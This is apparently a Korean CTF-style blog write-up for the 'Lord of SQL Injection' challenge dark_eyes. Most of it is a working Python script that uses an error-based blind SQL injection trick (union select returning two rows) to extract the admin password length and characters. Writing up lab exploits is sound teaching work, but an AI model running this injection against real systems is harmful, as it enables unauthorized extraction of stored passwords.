
바로 전 iron_golem의 문제와 비슷하지만 여기서 if가 필터링 되어있다. 또한 error를 발생했을때 출력되는 값은 없다.
다른 방법으로 접근해서 error를 내야겠다.
select 1 union select 1은 참

select 1 union select 2 은 거짓

이걸 이용해서 pw 길이와 pw값을 알아내자
import requests cookies= {'PHPSESSID':'5029udlls5r1m3m52n0crur5rh'} url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?' pw = '' #pw길이 구하기 for i in range(1,99): payload = "pw=' or id='admin' and (select 1 union select (length(pw)={}))%23".format(i) new_url = url+payload res = requests.get(new_url, cookies=cookies) res.raise_for_status() if "query" in res.text: length = i print("length: "+str(length)) break # pw 구하기 for i in range(1,length+1): for j in range(33,127): payload = "pw='||id='admin' and (select 1 union select ord(substr(pw,{},1))={})%23".format(i,j) new_url = url+payload res = requests.get(new_url, cookies=cookies) res.raise_for_status() if "query" in res.text: pw += chr(j) print("pw: "+pw) break print ("pw : "+pw)


'Write-Up > LOS (lord of sql injection)' 카테고리의 다른 글
[Lord of SQL Injection] 24번 evil_wizard (0) | 2021.01.23 |
---|---|
[Lord of SQL Injection] 23번 hell_fire (0) | 2021.01.23 |
[Lord of SQL Injection] 21번 iron_golem (0) | 2021.01.22 |
[Lord of SQL Injection] 20번 dragon (0) | 2021.01.22 |
[Lord of SQL Injection] 19번 xavis (0) | 2021.01.22 |